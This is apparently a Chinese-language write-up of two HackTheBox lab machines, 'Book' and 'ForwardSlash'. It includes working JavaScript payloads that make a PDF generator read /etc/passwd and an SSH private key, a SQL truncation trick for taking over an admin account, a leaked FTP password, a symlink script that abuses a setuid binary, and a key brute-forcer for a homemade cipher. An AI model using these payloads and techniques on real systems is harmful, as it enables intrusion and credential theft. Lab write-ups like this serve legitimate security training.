Book
扫端口,只有80和22
80是个。。。图书cms
注册登录进入后台
没注入上传没法绕xss打了没反应
有个admin
注意到一段js
搜一下,发现了这个https://resources.infosecinstitute.com/sql-truncation-attack/
大概是,整个填充
admin@book.htb++++++a
select的时候会认为用户不存在,insert的时候超长了会给后面截断,变成admin@book.htb++++++
然后空格被忽略,从而修改admin密码
于是进了后台
发现有个导出pdf功能,普通用户上传的book会把标题和链接弄进去,注意到之前测xss填的书名<script>alert(1);</script>
居然没了,怀疑pdf会解析js
写个document.write试试
那xhr去读一下/etc/passwd
这个东西居然不支持ES6。。。差评
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
是可以读的
读了一圈没啥东西,找私钥吧,发现reader用户私钥可以读出来
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
找个ocr网站识别一下,登录即可
收集一下信息发现有个log rotate,expdb找一下
https://www.exploit-db.com/exploits/47466
按照说明搞就提权了,略
ForwardSlash
还是只有80和22
80搞了一通啥都没有
测下子域名
有个backup
注册登录,后台有个lfi
然后xjb读一波文件,发现dev/index.php有个凭据
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
用这个账号密码登ssh即可
一通信息收集,发现一个backup目录,一个backup二进制文件
拉回来看看
大概是取时间然后md5一下作为文件名,读取,然后输出
那就是个任意文件读,因为有setuid
整个脚本
#!/bin/bash
target=$1
filename=$(./backup | grep ERROR | awk -F' ' '{print $2}')
echo "filename is $filename"
ln -s $target $filename
./backup
然后成功读一波文件
config.php.bak
user.txt
然后su到pain用户
发现有个encryptor.py和一个加密后的文件
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
这里是个自己写的加密,估计是要爆破key
爆了半天没反应,但是发现奇怪的问题,他这个算法,只要key的首字母一样,长度一样,都能正常解密,如图
问了下密码学聚聚,大概是,解密的时候,后面错误密钥产生的偏移会让密钥第一个字符,也就是解密最后一轮,给减掉,也就是只要第一位正确就能正常解密
所以搓了个解密脚本
import encrypter
import string
with open("ciphertext") as f:
data = f.read()
for i in range(2,30):
for j in string.letters:
password = i*j
result = encrypter.decrypt(password, data)
if " is " in result:
print result
然后成功解密
另外注意到pain用户的sudo可以跑luks
用解密的密码挂载磁盘
如图
拿到私钥,直接用root登录即可